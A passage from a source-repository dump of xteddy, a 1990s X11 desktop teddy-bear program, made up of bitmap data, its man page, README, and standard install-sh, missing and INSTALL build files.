37 | 0x80,0x10,0x03,0x00,0x00,0x80,0xff,0x02,0xfc,0x08,0x54,0x06,0x00,0x00,0x80,
38 | 0xff,0x08,0xfc,0x00,0x08,0x0d,0x00,0x00,0x80,0xff,0x20,0xfd,0x92,0x13,0x38,
39 | 0x00,0x00,0xa0,0x7f,0x02,0xfc,0x40,0x44,0x7a,0x00,0x00,0x88,0x7f,0x02,0xfc,
40 | 0x20,0x00,0xf0,0x00,0x00,0x40,0x1f,0x91,0xfc,0x88,0x24,0xe9,0x01,0x00,0x10,
41 | 0x25,0x04,0xfc,0x41,0x00,0xe0,0x03,0x00,0x90,0x88,0x40,0xfc,0x24,0x52,0xc9,
42 | 0x07,0x00,0x28,0x12,0x0a,0xfc,0xa0,0x00,0xc0,0x03,0x00,0x08,0x41,0x00,0xfd,
43 | 0x20,0x8a,0xa4,0x03,0x00,0x54,0x08,0x52,0xfc,0x42,0x20,0x00,0x00,0x00,0x0e,
44 | 0x82,0x00,0xfc,0x20,0x02,0x52,0x01,0x80,0x9f,0x20,0x48,0xfc,0x88,0x90,0x00,
45 | 0x02,0xe0,0x0f,0x08,0x22,0xfc,0x20,0x04,0x8a,0x0e,0xfc,0x57,0x42,0x09,0xfd,
46 | 0x24,0x51,0x20,0xfe,0xff,0x1f,0x10,0x04,0xfc,0xb0,0x04,0x04,0xff,0xff,0x2f,
47 | 0x45,0x41,0xfc,0x40,0x55,0x51,0xfd,0xff,0x4f,0x50,0x10,0xfc,0x02,0x74,0x85,
48 | 0x3f,0x80,0x3f,0x35,0x80,0xfc,0x08,0xc0,0x75,0x07,0x00,0xa8,0x9a,0x04,0xfc,
49 | 0x40,0x02,0xee,0x81,0x24,0xd8,0x06,0x20,0xfc,0x00,0x00,0xf8,0x20,0x80,0xf0,
50 | 0x03,0x02,0xfd,0x12,0x11,0x00,0x08,0x02,0x00,0x40,0x08,0xfc,0x00,0x40,0x02,
51 | 0x02,0x10,0x04,0x08,0x40,0xfc,0x44,0x04,0x48,0x20,0x81,0x10,0x01,0x01,0xfc
52 | };
53 |
--------------------------------------------------------------------------------
/xteddy.1:
--------------------------------------------------------------------------------
1 | .TH XTEDDY 1 "7 August 1997" "X Version 11"
2 | .SH NAME
3 | xteddy - cuddly teddy bear for your X Windows desktop.
4 | .SH SYNOPSIS
5 | .B xteddy
6 | [
7 | .B \-wm \-float \-noquit \-mono \-Fname
8 | ]
9 | .br
10 | [
11 | .B \-geometry \WIDTHxHEIGHT+X+Y \-display SERVER
12 | ]
13 | .SH DESCRIPTION
14 | .I Xteddy
15 | is a cuddly teddy bear for your X Windows desktop.
16 | .PP
17 | Normally,
18 | .I xteddy
19 | just sits around doing nothing. After all, that's what
20 | teddy bears are for. Look at him, talk to him, place heavy windows on
21 | top of him, zap him around until he becomes dizzy, do what you like;
22 | he will always be your true (albeit virtual) friend.
23 | .PP
24 | You can move
25 | .I xteddy
26 | with the mouse by pointing at him and dragging
27 | him around. When clicked upon, he will pop up on top of all other
28 | windows. If you type "q" on him, he will die (or, as I like to think
29 | of it, be tucked away in the file system until you need him next time).
30 | .PP
31 | That's it. But he's cute.
32 | .SH OPTIONS
33 | .TP
34 | .B \-wm
35 | Use the window manager. Normally,
36 | .I xteddy
37 | sets the override_redirect flag for his window, which will cause most
38 | window managers to ignore him. However, some window managers might have
39 | problems coping with a window that is nailed directly to the root.
40 | In that case, use this option. If possible, instruct your window manager
41 | not to put any title bar or window frame on the window, or
42 | .I xteddy
43 | will lose some of his charm.
44 | .TP
45 | .B \-float
46 | Float up on top of overlapping windows. This will make
47 | .I xteddy
48 | stay in sight at all times, so you won't lose him. However, this
49 | is a bit intrusive and quite unlike a real teddy bear, so it is not
50 | the default action.
51 | .TP
52 | .B \-noquit
53 | Disable the "quit" command (do not quit when typing "q" in the window,
54 | but of course still on explicit window kills or process kills).
55 | This might seem an unnecessary option, but if you use the -wm option
56 | .I Xteddy
57 | might keep receiving keyboard events even after the mouse has left his
58 | window. I you use the -wm option in conjunction with a click-to-type
59 | window manager, you would probably want to include this option.
60 | .TP
61 | .B \-mono
62 | Force
63 | .I xteddy
64 | to show up in black-and-white, even if a grayscale or color visual is
65 | available. The color (or grayscale) pixmap contains 32 colors, and
66 | you might want to save the colormap entries for other purposes.
67 | .TP
68 | .B \-Fname
69 | Display another pixmap instead of
70 | .I xteddy.
71 | In fact for displaying
72 | .I xteddy
73 | four files are required:
74 | .RS
75 | .PP
76 | \fBname\fP_bw.xbm -> gray if libXpm isn't available
77 | .PP
78 | \fBname\fP_color.xpm -> the nice Teddy if \fBname\fP==xteddy
79 | .PP
80 | \fBname\fP_icon.xbm -> an icon
81 | .PP
82 | \fBname\fP_mask.xbm -> the mask shape
83 | .PP
84 | If no `-F` parameter is given \fBname\fP equals to \fIxteddy\fP
85 | or more precisely
86 | to the name of the calling program. For instance if there is a symlink
87 | .RS
88 | .PP
89 | \fBln -s xteddy xpenguin\fP
90 | .RE
91 | .PP
92 | then \fBname\fP equals to \fIxpenguin\fP and the
93 | apropriate pixmaps with the name \fIxpenguin\fP are searched for.
94 | .PP
95 | \fIXteddy\fP searches for this pixmaps at first in \fB.\fP and then in
96 | \fB/usr/X11R6/include/X11/pixmap\fP (this can be changed at compile time
97 | via redefining PIXMAP_PATH).
98 | .RE
99 | .TP
100 | .B \-geometry
101 | The standard X geometry specification. Only X and Y position requests
102 | are honoured. Any height and width specifications will be ignored.
103 | .TP
104 | .B \-display
105 | Specify an X server other than the local display.
106 | .br
107 | .ne 8
108 | .SH AUTHOR
109 | Stefan Gustavson, ISY-LiTH (stefang@isy.liu.se).
110 | .I Xteddy
111 | is distributed under the GNU General Public Licence.
112 | .SH BUGS
113 | The Desktop Manager in Sun CDE (Common Desktop Environment) does not
114 | like xteddy. Xteddy by default does not use the window manager, and so
115 | he shows up as a sticky window on all desktops. If you don't like this,
116 | and try to circumvent it by running him with the -wm option, move him
117 | by grabbing him by the tummy instead of by the title bar, and then move
118 | him partly off the screen, the image is lost and never redrawn again,
119 | so all you see is a silhouette of a teddy bear.
120 | I have no idea why this happens. If you know, please tell me, and if you
121 | can fix it, please do. If you run CDE on other platforms than Sun, please
122 | tell me if it works for you. CDE does something which xteddy does not
123 | handle properly, and since I have a Sun with CDE myself I would like to
124 | know what the problem is.
125 | .PP
126 | For most X servers, the -float option does not work properly if xteddy
127 | is moved partially off the screen. This is the X server's fault, not mine.
128 | .PP
129 | If two copies of
130 | .I xteddy
131 | are placed so they overlap, and both were run with the
132 | .I -float
133 | option, the X server will try to put each on top of the other in an
134 | endless loop, which looks very bad and takes a lot of CPU power.
135 | .PP
136 | .I Xteddy
137 | does not make use of the X resource database. I just didn't get around
138 | to that.
139 | .PP
140 | Please send bug reports, fixes, suggestions, fan mail or or hacks to:
141 | stefang@isy.liu.se.
142 |
--------------------------------------------------------------------------------
/install-sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # install - install a program, script, or datafile
4 | # This comes from X11R5 (mit/util/scripts/install.sh).
5 | #
6 | # Copyright 1991 by the Massachusetts Institute of Technology
7 | #
8 | # Permission to use, copy, modify, distribute, and sell this software and its
9 | # documentation for any purpose is hereby granted without fee, provided that
10 | # the above copyright notice appear in all copies and that both that
11 | # copyright notice and this permission notice appear in supporting
12 | # documentation, and that the name of M.I.T. not be used in advertising or
13 | # publicity pertaining to distribution of the software without specific,
14 | # written prior permission. M.I.T. makes no representations about the
15 | # suitability of this software for any purpose. It is provided "as is"
16 | # without express or implied warranty.
17 | #
18 | # Calling this script install-sh is preferred over install.sh, to prevent
19 | # `make' implicit rules from creating a file called install from it
20 | # when there is no Makefile.
21 | #
22 | # This script is compatible with the BSD install script, but was written
23 | # from scratch. It can only install one file at a time, a restriction
24 | # shared with many OS's install programs.
25 |
26 |
27 | # set DOITPROG to echo to test this script
28 |
29 | # Don't use :- since 4.3BSD and earlier shells don't like it.
30 | doit="${DOITPROG-}"
31 |
32 |
33 | # put in absolute paths if you don't have them in your path; or use env. vars.
34 |
35 | mvprog="${MVPROG-mv}"
36 | cpprog="${CPPROG-cp}"
37 | chmodprog="${CHMODPROG-chmod}"
38 | chownprog="${CHOWNPROG-chown}"
39 | chgrpprog="${CHGRPPROG-chgrp}"
40 | stripprog="${STRIPPROG-strip}"
41 | rmprog="${RMPROG-rm}"
42 | mkdirprog="${MKDIRPROG-mkdir}"
43 |
44 | transformbasename=""
45 | transform_arg=""
46 | instcmd="$mvprog"
47 | chmodcmd="$chmodprog 0755"
48 | chowncmd=""
49 | chgrpcmd=""
50 | stripcmd=""
51 | rmcmd="$rmprog -f"
52 | mvcmd="$mvprog"
53 | src=""
54 | dst=""
55 | dir_arg=""
56 |
57 | while [ x"$1" != x ]; do
58 | case $1 in
59 | -c) instcmd="$cpprog"
60 | shift
61 | continue;;
62 |
63 | -d) dir_arg=true
64 | shift
65 | continue;;
66 |
67 | -m) chmodcmd="$chmodprog $2"
68 | shift
69 | shift
70 | continue;;
71 |
72 | -o) chowncmd="$chownprog $2"
73 | shift
74 | shift
75 | continue;;
76 |
77 | -g) chgrpcmd="$chgrpprog $2"
78 | shift
79 | shift
80 | continue;;
81 |
82 | -s) stripcmd="$stripprog"
83 | shift
84 | continue;;
85 |
86 | -t=*) transformarg=`echo $1 | sed 's/-t=//'`
87 | shift
88 | continue;;
89 |
90 | -b=*) transformbasename=`echo $1 | sed 's/-b=//'`
91 | shift
92 | continue;;
93 |
94 | *) if [ x"$src" = x ]
95 | then
96 | src=$1
97 | else
98 | # this colon is to work around a 386BSD /bin/sh bug
99 | :
100 | dst=$1
101 | fi
102 | shift
103 | continue;;
104 | esac
105 | done
106 |
107 | if [ x"$src" = x ]
108 | then
109 | echo "install: no input file specified"
110 | exit 1
111 | else
112 | true
113 | fi
114 |
115 | if [ x"$dir_arg" != x ]; then
116 | dst=$src
117 | src=""
118 |
119 | if [ -d $dst ]; then
120 | instcmd=:
121 | else
122 | instcmd=mkdir
123 | fi
124 | else
125 |
126 | # Waiting for this to be detected by the "$instcmd $src $dsttmp" command
127 | # might cause directories to be created, which would be especially bad
128 | # if $src (and thus $dsttmp) contains '*'.
129 |
130 | if [ -f $src -o -d $src ]
131 | then
132 | true
133 | else
134 | echo "install: $src does not exist"
135 | exit 1
136 | fi
137 |
138 | if [ x"$dst" = x ]
139 | then
140 | echo "install: no destination specified"
141 | exit 1
142 | else
143 | true
144 | fi
145 |
146 | # If destination is a directory, append the input filename; if your system
147 | # does not like double slashes in filenames, you may need to add some logic
148 |
149 | if [ -d $dst ]
150 | then
151 | dst="$dst"/`basename $src`
152 | else
153 | true
154 | fi
155 | fi
156 |
157 | ## this sed command emulates the dirname command
158 | dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`
159 |
160 | # Make sure that the destination directory exists.
161 | # this part is taken from Noah Friedman's mkinstalldirs script
162 |
163 | # Skip lots of stat calls in the usual case.
164 | if [ ! -d "$dstdir" ]; then
165 | defaultIFS='
166 | '
167 | IFS="${IFS-${defaultIFS}}"
168 |
169 | oIFS="${IFS}"
170 | # Some sh's can't handle IFS=/ for some reason.
171 | IFS='%'
172 | set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
173 | IFS="${oIFS}"
174 |
175 | pathcomp=''
176 |
177 | while [ $# -ne 0 ] ; do
178 | pathcomp="${pathcomp}${1}"
179 | shift
180 |
181 | if [ ! -d "${pathcomp}" ] ;
182 | then
183 | $mkdirprog "${pathcomp}"
184 | else
185 | true
186 | fi
187 |
188 | pathcomp="${pathcomp}/"
189 | done
190 | fi
191 |
192 | if [ x"$dir_arg" != x ]
193 | then
194 | $doit $instcmd $dst &&
195 |
196 | if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
197 | if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
198 | if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
199 | if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
200 | else
201 |
202 | # If we're going to rename the final executable, determine the name now.
203 |
204 | if [ x"$transformarg" = x ]
205 | then
206 | dstfile=`basename $dst`
207 | else
208 | dstfile=`basename $dst $transformbasename |
209 | sed $transformarg`$transformbasename
210 | fi
211 |
212 | # don't allow the sed command to completely eliminate the filename
213 |
214 | if [ x"$dstfile" = x ]
215 | then
216 | dstfile=`basename $dst`
217 | else
218 | true
219 | fi
220 |
221 | # Make a temp file name in the proper directory.
222 |
223 | dsttmp=$dstdir/#inst.$$#
224 |
225 | # Move or copy the file name to the temp name
226 |
227 | $doit $instcmd $src $dsttmp &&
228 |
229 | trap "rm -f ${dsttmp}" 0 &&
230 |
231 | # and set any options; do chmod last to preserve setuid bits
232 |
233 | # If any of these fail, we abort the whole thing. If we want to
234 | # ignore errors from any of these, just make sure not to ignore
235 | # errors from the above "$doit $instcmd $src $dsttmp" command.
236 |
237 | if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
238 | if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
239 | if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
240 | if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&
241 |
242 | # Now rename the file to the real destination.
243 |
244 | $doit $rmcmd -f $dstdir/$dstfile &&
245 | $doit $mvcmd $dsttmp $dstdir/$dstfile
246 |
247 | fi &&
248 |
249 |
250 | exit 0
251 |
--------------------------------------------------------------------------------
/missing:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | # Common stub for a few missing GNU programs while installing.
3 | # Copyright (C) 1996, 1997 Free Software Foundation, Inc.
4 | # Franc,ois Pinard , 1996.
5 |
6 | # This program is free software; you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation; either version 2, or (at your option)
9 | # any later version.
10 |
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 |
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
19 | # 02111-1307, USA.
20 |
21 | if test $# -eq 0; then
22 | echo 1>&2 "Try \`$0 --help' for more information"
23 | exit 1
24 | fi
25 |
26 | case "$1" in
27 |
28 | -h|--h|--he|--hel|--help)
29 | echo "\
30 | $0 [OPTION]... PROGRAM [ARGUMENT]...
31 |
32 | Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an
33 | error status if there is no known handling for PROGRAM.
34 |
35 | Options:
36 | -h, --help display this help and exit
37 | -v, --version output version information and exit
38 |
39 | Supported PROGRAM values:
40 | aclocal touch file \`aclocal.m4'
41 | autoconf touch file \`configure'
42 | autoheader touch file \`config.h.in'
43 | automake touch all \`Makefile.in' files
44 | bison create \`y.tab.[ch]', if possible, from existing .[ch]
45 | flex create \`lex.yy.c', if possible, from existing .c
46 | lex create \`lex.yy.c', if possible, from existing .c
47 | makeinfo touch the output file
48 | yacc create \`y.tab.[ch]', if possible, from existing .[ch]"
49 | ;;
50 |
51 | -v|--v|--ve|--ver|--vers|--versi|--versio|--version)
52 | echo "missing - GNU libit 0.0"
53 | ;;
54 |
55 | -*)
56 | echo 1>&2 "$0: Unknown \`$1' option"
57 | echo 1>&2 "Try \`$0 --help' for more information"
58 | exit 1
59 | ;;
60 |
61 | aclocal)
62 | echo 1>&2 "\
63 | WARNING: \`$1' is missing on your system. You should only need it if
64 | you modified \`acinclude.m4' or \`configure.in'. You might want
65 | to install the \`Automake' and \`Perl' packages. Grab them from
66 | any GNU archive site."
67 | touch aclocal.m4
68 | ;;
69 |
70 | autoconf)
71 | echo 1>&2 "\
72 | WARNING: \`$1' is missing on your system. You should only need it if
73 | you modified \`configure.in'. You might want to install the
74 | \`Autoconf' and \`GNU m4' packages. Grab them from any GNU
75 | archive site."
76 | touch configure
77 | ;;
78 |
79 | autoheader)
80 | echo 1>&2 "\
81 | WARNING: \`$1' is missing on your system. You should only need it if
82 | you modified \`acconfig.h' or \`configure.in'. You might want
83 | to install the \`Autoconf' and \`GNU m4' packages. Grab them
84 | from any GNU archive site."
85 | files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER([^):]*:\([^)]*\)).*/\1/p' configure.in`
86 | if test -z "$files"; then
87 | files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^):]*\)).*/\1/p' configure.in`
88 | test -z "$files" || files="$files.in"
89 | else
90 | files=`echo "$files" | sed -e 's/:/ /g'`
91 | fi
92 | test -z "$files" && files="config.h.in"
93 | touch $files
94 | ;;
95 |
96 | automake)
97 | echo 1>&2 "\
98 | WARNING: \`$1' is missing on your system. You should only need it if
99 | you modified \`Makefile.am', \`acinclude.m4' or \`configure.in'.
100 | You might want to install the \`Automake' and \`Perl' packages.
101 | Grab them from any GNU archive site."
102 | find . -type f -name Makefile.am -print \
103 | | sed 's/^\(.*\).am$/touch \1.in/' \
104 | | sh
105 | ;;
106 |
107 | bison|yacc)
108 | echo 1>&2 "\
109 | WARNING: \`$1' is missing on your system. You should only need it if
110 | you modified a \`.y' file. You may need the \`Bison' package
111 | in order for those modifications to take effect. You can get
112 | \`Bison' from any GNU archive site."
113 | rm -f y.tab.c y.tab.h
114 | if [ $# -ne 1 ]; then
115 | eval LASTARG="\${$#}"
116 | case "$LASTARG" in
117 | *.y)
118 | SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'`
119 | if [ -f "$SRCFILE" ]; then
120 | cp "$SRCFILE" y.tab.c
121 | fi
122 | SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'`
123 | if [ -f "$SRCFILE" ]; then
124 | cp "$SRCFILE" y.tab.h
125 | fi
126 | ;;
127 | esac
128 | fi
129 | if [ ! -f y.tab.h ]; then
130 | echo >y.tab.h
131 | fi
132 | if [ ! -f y.tab.c ]; then
133 | echo 'main() { return 0; }' >y.tab.c
134 | fi
135 | ;;
136 |
137 | lex|flex)
138 | echo 1>&2 "\
139 | WARNING: \`$1' is missing on your system. You should only need it if
140 | you modified a \`.l' file. You may need the \`Flex' package
141 | in order for those modifications to take effect. You can get
142 | \`Flex' from any GNU archive site."
143 | rm -f lex.yy.c
144 | if [ $# -ne 1 ]; then
145 | eval LASTARG="\${$#}"
146 | case "$LASTARG" in
147 | *.l)
148 | SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
149 | if [ -f "$SRCFILE" ]; then
150 | cp "$SRCFILE" lex.yy.c
151 | fi
152 | ;;
153 | esac
154 | fi
155 | if [ ! -f lex.yy.c ]; then
156 | echo 'main() { return 0; }' >lex.yy.c
157 | fi
158 | ;;
159 |
160 | makeinfo)
161 | echo 1>&2 "\
162 | WARNING: \`$1' is missing on your system. You should only need it if
163 | you modified a \`.texi' or \`.texinfo' file, or any other file
164 | indirectly affecting the aspect of the manual. The spurious
165 | call might also be the consequence of using a buggy \`make' (AIX,
166 | DU, IRIX). You might want to install the \`Texinfo' package or
167 | the \`GNU make' package. Grab either from any GNU archive site."
168 | file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'`
169 | if test -z "$file"; then
170 | file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
171 | file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file`
172 | fi
173 | touch $file
174 | ;;
175 |
176 | *)
177 | echo 1>&2 "\
178 | WARNING: \`$1' is needed, and you do not seem to have it handy on your
179 | system. You might have modified some files without having the
180 | proper tools for further handling them. Check the \`README' file,
181 | it often tells you about the needed prerequirements for installing
182 | this package. You may also peek at any GNU archive site, in case
183 | some other package would contain this missing \`$1' program."
184 | exit 1
185 | ;;
186 | esac
187 |
188 | exit 0
189 |
--------------------------------------------------------------------------------
/xteddy.README:
--------------------------------------------------------------------------------
1 | ------------------------------------------------------------------------
2 | xteddy version 1.0.3, by Stefan Gustavson, ISY-LiTH (stefang@isy.liu.se)
3 | ------------------------------------------------------------------------
4 |
5 | DESCRIPTION
6 |
7 | xteddy is a cuddly teddy bear for your X Windows desktop.
8 |
9 | Normally, xteddy just sits around doing nothing. After all, that's what
10 | teddy bears are for. Look at him, talk to him, place heavy windows on
11 | top of him, zap him around until he becomes dizzy, do what you like;
12 | he will always be your true (albeit virtual) friend.
13 |
14 | You can move xteddy with the mouse by pointing at him and dragging
15 | him around. When clicked upon, he will pop up on top of all other
16 | windows. If you type "q" on him, he will die (or, as I like to think
17 | of it, be tucked away in the file system until you need him next time).
18 |
19 | That's it. But he's cute.
20 |
21 |
22 | OPTIONS
23 |
24 | By default, xteddy will set the override_redirect attribute for his
25 | window, which means that he will be ignored by most window managers
26 | and live directly on the root window all by himself.
27 | You cannot iconify or resize him. This is intentional. If you really
28 | want to be able to iconify xteddy, there is code to communicate with
29 | a window manager, and I have even specified an icon bitmap for him.
30 | All it takes is that you supply the command-line option -wm.
31 | Beware that this will probably cram title bars and other ugly things
32 | onto xteddy if you do not tell you window manager otherwise.
33 | To find out how to do that, refer to the manual of your specific
34 | window manager.
35 | If you want your teddy close at all times, there is also an option -float
36 | to make xteddy float up on top of all overlapping windows on the screen.
37 | This is a bit intrusive and unlike a real teddy bear, so it is not the
38 | default action. The original to xteddy sits on my real-world desktop,
39 | and he sometimes gets obscured with paper and stuff, too.
40 | If you place two copies of "xteddy -float" so that they overlap, you are
41 | asking for trouble.
42 | The option -mono forces xteddy to show up in black-and-white, without
43 | allocationg any colormap entries.
44 | Xteddy accepts a standard X -geometry option, but will only honour the
45 | position request. Teddy bears are not scalable.
46 |
47 |
48 | COMPILATION
49 |
50 | You will need the shape extension to X and the Xpm library to compile.
51 | The shape extension to X is bundled with all official distributions of X.
52 | The Xpm library is included in most distributions, and it is installed
53 | on most systems. If not, it can be obtained by anonymous FTP to avahi.inria.fr
54 | or to export.lcs.mit.edu.
55 |
56 | Xteddy is known to compile fine on almost every imagineable X Windows
57 | system, including X11R4, X11R5, X11R6 and OpenWindows (all versions),
58 | and almost any Unix system, at least on Solaris, SunOS, Linux, Ultrix,
59 | HP/UX, AIX, A/UX and IRIX.
60 |
61 | To compile, just execute "./configure --prefix="
62 | where can be /usr/local or any other directory where
63 | you want xteddy to be installed. Configure checks whether
64 | Xpm is installed and defines -DHAVE_LIBXPM if successful. (Please
65 | check if this mechanism works right, because it is tested only
66 | in some cases. If configure can not detect your Xpm library please
67 | edit the resulting Makefile manually, that means add
68 | -L to X_LIBS and -I to X_CFLAGS.)
69 | Than you can type "make xteddy".
70 |
71 |
72 |
73 | YOUR OWN TEDDY
74 |
75 | Now there is a command line option for making your own favourite teddy
76 | bear for the program. You need four files xteddy_bw.xbm and
77 | xteddy_mask.xbm are standard X bitmap files that contain the
78 | monochrome image and the shape mask. The color and grayscale images
79 | are in one file, xteddy_color.xpm, in the X Pixmap format defined for
80 | the Xpm library. The same shape mask is used for monochrome, grayscale
81 | and color. At last you need an icon which is named xteddy_icon.xbm.
82 | See to it that you get the names right for the variables at
83 | the top of the file. The image size doesn't really matter, as long as
84 | it is the same for all three files. If you make your own teddy,
85 | please send me a copy. I'll take good care of him.
86 |
87 | If you create four files according to this scheme with for instance
88 | the Linux penguin and name the files xpenguin_... then you can call
89 |
90 | xteddy -Fxpenguin
91 |
92 | and instead of the lovely xteddy you will see penguin at your desktop.
93 | Alternatively you can make a symlink
94 |
95 | ln -s xteddy xpenguin
96 |
97 | and the xpenguin pixmaps are searched too.
98 |
99 |
100 | BUGS
101 |
102 | Some window managers may experience problems if you don't specify -wm.
103 |
104 | If you want to use Xteddy with a virtual window manager without having
105 | him as a "sticky" window on all desktops, use the option -wm and
106 | instruct your window manager not to decorate the window with title bar
107 | and stuff. You might want to add the option -noquit as well to prevent
108 | accidentally killing xteddy in case he happens to get keyboard focus.
109 |
110 | The Desktop Manager in Sun CDE (Common Desktop Environment) does not
111 | like xteddy at all. If you run him without any parameters, he shows up
112 | on all your alternate desktops, which might not be all that bad, but if
113 | you try to circumvent that by running him with the -wm option, and move
114 | him by grabbing him by the tummy instead of by the title bar, and then
115 | move him partly off the screen, the image is lost and never redrawn again,
116 | so all you see is a silhouette of a teddy bear.
117 | I have no idea why this happens. If you know, please tell me, and if you
118 | can fix it, please do. If you run CDE on other platforms than Sun, please
119 | tell me if it works for you. CDE does something which xteddy does not
120 | handle properly, and since I have a Sun with CDE myself I would like to
121 | know what the problem is.
122 |
123 | On most X servers, the -float option does not work properly if xteddy
124 | is moved partially off the screen. This is not my fault. It's your
125 | X server that doesn't know the difference between occlusion and clipping
126 | and fails to send occlusion notifications to clipped windows.
127 |
128 |
129 | AUTHOR
130 |
131 | Written by Stefan Gustavson, ISY-LiTH, 1994-1997.
132 | Email address: stefang@isy.liu.se
133 |
134 | Xteddy is a program I made entirely for fun. If you make any useful
135 | changes, additions, improvements, or bug fixes, please send me a message.
136 | If you like xteddy, remember to smile.
137 |
138 | This software is distributed under the GNU General Public License (GPL).
139 |
140 | The Xpm library is Copyright 1990-93 GROUPE BULL.
141 | The X Window System is Copyright the Massachusetts Institute
142 | of Technology. "X Window System" is a trademark of MIT.
143 | The teddy bear images are photos of a Tender Teddy from Gund.
144 |
145 |
146 | DISCLAIMER
147 |
148 | I make no promises that this software will work for any purpose
149 | whatsoever. If you hurt yourself or your system, don't blame me.
150 | Blame xteddy if you like. He doesn't mind.
151 |
152 |
153 | ---- This file wast last modified on Aug 7, 1997 ----
154 |
--------------------------------------------------------------------------------
/INSTALL:
--------------------------------------------------------------------------------
1 | Basic Installation
2 | ==================
3 |
4 | These are generic installation instructions.
5 |
6 | The `configure' shell script attempts to guess correct values for
7 | various system-dependent variables used during compilation. It uses
8 | those values to create a `Makefile' in each directory of the package.
9 | It may also create one or more `.h' files containing system-dependent
10 | definitions. Finally, it creates a shell script `config.status' that
11 | you can run in the future to recreate the current configuration, a file
12 | `config.cache' that saves the results of its tests to speed up
13 | reconfiguring, and a file `config.log' containing compiler output
14 | (useful mainly for debugging `configure').
15 |
16 | If you need to do unusual things to compile the package, please try
17 | to figure out how `configure' could check whether to do them, and mail
18 | diffs or instructions to the address given in the `README' so they can
19 | be considered for the next release. If at some point `config.cache'
20 | contains results you don't want to keep, you may remove or edit it.
21 |
22 | The file `configure.in' is used to create `configure' by a program
23 | called `autoconf'. You only need `configure.in' if you want to change
24 | it or regenerate `configure' using a newer version of `autoconf'.
25 |
26 | The simplest way to compile this package is:
27 |
28 | 1. `cd' to the directory containing the package's source code and type
29 | `./configure' to configure the package for your system. If you're
30 | using `csh' on an old version of System V, you might need to type
31 | `sh ./configure' instead to prevent `csh' from trying to execute
32 | `configure' itself.
33 |
34 | Running `configure' takes awhile. While running, it prints some
35 | messages telling which features it is checking for.
36 |
37 | 2. Type `make' to compile the package.
38 |
39 | 3. Optionally, type `make check' to run any self-tests that come with
40 | the package.
41 |
42 | 4. Type `make install' to install the programs and any data files and
43 | documentation.
44 |
45 | 5. You can remove the program binaries and object files from the
46 | source code directory by typing `make clean'. To also remove the
47 | files that `configure' created (so you can compile the package for
48 | a different kind of computer), type `make distclean'. There is
49 | also a `make maintainer-clean' target, but that is intended mainly
50 | for the package's developers. If you use it, you may have to get
51 | all sorts of other programs in order to regenerate files that came
52 | with the distribution.
53 |
54 | Compilers and Options
55 | =====================
56 |
57 | Some systems require unusual options for compilation or linking that
58 | the `configure' script does not know about. You can give `configure'
59 | initial values for variables by setting them in the environment. Using
60 | a Bourne-compatible shell, you can do that on the command line like
61 | this:
62 | CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure
63 |
64 | Or on systems that have the `env' program, you can do it like this:
65 | env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure
66 |
67 | Compiling For Multiple Architectures
68 | ====================================
69 |
70 | You can compile the package for more than one kind of computer at the
71 | same time, by placing the object files for each architecture in their
72 | own directory. To do this, you must use a version of `make' that
73 | supports the `VPATH' variable, such as GNU `make'. `cd' to the
74 | directory where you want the object files and executables to go and run
75 | the `configure' script. `configure' automatically checks for the
76 | source code in the directory that `configure' is in and in `..'.
77 |
78 | If you have to use a `make' that does not supports the `VPATH'
79 | variable, you have to compile the package for one architecture at a time
80 | in the source code directory. After you have installed the package for
81 | one architecture, use `make distclean' before reconfiguring for another
82 | architecture.
83 |
84 | Installation Names
85 | ==================
86 |
87 | By default, `make install' will install the package's files in
88 | `/usr/local/bin', `/usr/local/man', etc. You can specify an
89 | installation prefix other than `/usr/local' by giving `configure' the
90 | option `--prefix=PATH'.
91 |
92 | You can specify separate installation prefixes for
93 | architecture-specific files and architecture-independent files. If you
94 | give `configure' the option `--exec-prefix=PATH', the package will use
95 | PATH as the prefix for installing programs and libraries.
96 | Documentation and other data files will still use the regular prefix.
97 |
98 | In addition, if you use an unusual directory layout you can give
99 | options like `--bindir=PATH' to specify different values for particular
100 | kinds of files. Run `configure --help' for a list of the directories
101 | you can set and what kinds of files go in them.
102 |
103 | If the package supports it, you can cause programs to be installed
104 | with an extra prefix or suffix on their names by giving `configure' the
105 | option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
106 |
107 | Optional Features
108 | =================
109 |
110 | Some packages pay attention to `--enable-FEATURE' options to
111 | `configure', where FEATURE indicates an optional part of the package.
112 | They may also pay attention to `--with-PACKAGE' options, where PACKAGE
113 | is something like `gnu-as' or `x' (for the X Window System). The
114 | `README' should mention any `--enable-' and `--with-' options that the
115 | package recognizes.
116 |
117 | For packages that use the X Window System, `configure' can usually
118 | find the X include and library files automatically, but if it doesn't,
